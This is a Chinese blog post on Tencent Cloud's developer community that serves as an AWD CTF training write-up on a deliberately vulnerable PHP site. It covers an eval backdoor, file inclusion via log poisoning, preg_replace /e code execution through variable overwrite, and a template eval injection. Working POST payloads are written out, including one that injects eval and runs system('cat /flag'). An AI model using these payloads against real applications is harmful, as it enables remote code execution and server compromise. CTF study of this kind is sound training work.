首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >awd训练(一)

awd训练(一)

作者头像
故里[TRUE]
发布2023-04-19 20:27:38
发布2023-04-19 20:27:38
8187
举报

一次awd训练,训练一下

拿到站点之后是这样的站

与此同时上D盾

有一个eval函数,说简单就是i有个一句话木马,纯纯拼手速的了

,通过这用蚁剑连上自己,然后把后门删掉

这里我看删不掉我就把后门的参数改了,相信改了之后应该也不会被利用了(当然,用其他漏洞还是能看到的,所以一定要防的完善点)

继续看下一个漏洞

看一下action.php这个文件

代码语言:javascript
复制
<?php
require_once("library/common.php"); 
require_once("library/view.php");  // 包含这俩路径的文件
$page = filter($_POST['page']).'.php'; //使用file函数过滤用户输入的内容
$post_data = array();
foreach ($_POST as $key => $value) {
   $post_data[$key] = $value;
}
if (file_exists($page))
{
   @require_once($page);
}
?>

这个page参数是可控的,但是同时也需要注意这段代码

代码语言:javascript
复制
function filter($input)
{
   return str_replace('.', '', $input);

输入的参数中的.都会被替换成空格,所以在传参的同时应该注意不要使用.,这也就是说明我们不能使用相对路径了,而应该使用绝对路径来包含。

尝试将代码写入到logfile.php中,原因如下:

代码语言:javascript
复制
function write_log($input) // 写入的参数执行这个方法
{
   global $cfg_logfile;   // 定义这个变量
    file_put_contents($cfg_logfile, $input, FILE_APPEND); 
} 
// 这个write_log函数可以将传入的数据写入到日志里

PHP file_put_contents() 函数

**提示:**使用 FILE_APPEND 可避免删除文件中已有的内容。

再看下面这段代码

代码语言:javascript
复制
function loadFile($filePath)
{
   global $cfg_basedir;
   if(!file_exists($filePath)){
      write_log('Try to open Null file:'.$filePath);
      return file_get_contents($cfg_basedir.'/error.php'); // 当访问的页面不存在时直接写入内容为文件路径
   }

接下来试一下这个文件包含利用,上面说了如果访问的页面不存在就会直接写入内容

出现报错了,这个情况下应该也是写进去了,上面也提到了,是写到了logfile.php这个文件里面,访问一下,发现是不允许的,应该是权限不够

那我们试试能不能包含出来这个文件

成功包含

再来看下一个漏洞

首先科普一下preg_replace函数

然后看这段代码

代码语言:javascript
复制
function action($post_data, $ip_replacement, $mail_replacement){
   foreach ($post_data as $key => $value) {
      $$key = $value;
   }
   try{
      if ($method == '/\\d+\\.\\d+\\.\\d+\\.\\d+/')
      {
         $res = preg_replace($method, $ip_replacement, $source);
      }
      else
      {
         $res = preg_replace($method, $mail_replacement, $source);  //正则命令执行,上面给了这个函数的语法
      }

   }
   catch(Exception $e)
   {
      write_log($e->getMessage());
      $res=$source;
   }
   return $res;
}
$view_class = new View();
$data = array();
$data['page'] = 'normaliz';
$ip_replacement = '222.222.222.222';
$mail_replacement = 'lollol@lol.com';
$data['res'] = action($post_data, $ip_replacement, $mail_replacement);
$view_class->echoContent($data['page'], $data);// 在这些变量里只有post_data是活的,其他都被写死了,所有就需要控制这个函数来进行执行函数

这个时候可以通过action.php进行文件包含使其变量覆盖

代码语言:javascript
复制
<?php
require_once("library/common.php");
require_once("library/view.php");
$page = filter($_POST['page']).'.php';
$post_data = array();
foreach ($_POST as $key => $value) {
   $post_data[$key] = $value;
}
if (file_exists($page))
{
   @require_once($page);
}
?>

下面这部分是normaliz.php的代码,联合起来看
function action($post_data, $ip_replacement, $mail_replacement){
   foreach ($post_data as $key => $value) {
      $$key = $value;

不是要替换吗,那就替换个命令看看会不会执行

代码语言:javascript
复制
page=normaliz&res=&method=/b/e&mail_replacement=phpinfo()&source=b;
// preg_replace("/b/e", "phpinfo()", "b");
//  preg_replace中的正则加了e的选项就会把正则式替换的部分替换之后的内容执行一下啊,然后将执行完的结果放进需要被替换的位置

执行成功

下一个漏洞就不是文件包含了,还有个命令执行漏洞

eval函数,yyds

代码语言:javascript
复制
for($elseIfLen=1;$elseIfLen<$elseIfaryLen;$elseIfLen++){
               $strElseIf=$this->parseStrIf($strElseIf);
               @eval("if(".$strElseIf."){\$resultStr=\"$strElseIfThen\";}");
               @eval("if(".$strElseIf."){\$elseIfstatus=true;}else{\$elseIfstatus=false;}");
代码语言:javascript
复制
<?php
require_once("library/common.php");
require_once("library/view.php"); // md5文件包含了view.php,而且这也有变量覆盖,res可以控制strElseIf,这就是触发点
function action($post_data){
   foreach ($post_data as $key => $value) {
      $$key = $value;
   }
   if ($method==='md5'){
      $res = md5($source);
   }
   if ($method==='sha1'){
      $res = sha1($source);
   }
   return $res;
}
$view_class = new View();
$data = array();
$data['page'] = 'md5';
$data['res'] = action($post_data);
$view_class->echoContent($data['page'], $data);
?>
代码语言:javascript
复制
page=md5&res="or @eval($_POST[123])or"&123=system('cat /flag');

至此就找到这些漏洞,应该也有其他漏洞,就不找了.

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2022-07-082,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档